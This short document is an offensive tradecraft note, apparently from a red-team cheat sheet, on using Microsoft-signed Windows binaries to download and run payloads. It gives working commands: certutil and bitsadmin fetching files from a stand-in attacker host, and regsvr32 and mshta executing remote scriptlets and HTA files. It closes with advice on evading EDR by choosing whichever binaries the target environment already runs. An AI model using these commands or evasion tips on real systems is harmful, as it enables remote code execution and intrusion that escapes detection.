Stage and execute with signed LOLBins

Application control and naive EDR often trust Microsoft-signed binaries. Use them to stage and execute rather than dropping your own tooling.

certutil -urlcache -f https://cdn.attacker.tld/a.txt a.txt
bitsadmin /transfer j /download https://cdn.attacker.tld/a.txt %temp%a.txt

Execute through a trusted host process.

regsvr32 /s /n /u /i:https://cdn.attacker.tld/x.sct scrobj.dll
mshta https://cdn.attacker.tld/x.hta

Pro note: mature EDR flags certutil and mshta by name, so profile the estate first. MSBuild and installutil running inline tasks are quieter in developer-heavy shops. Match the technique to what the environment already runs so it does not stand out.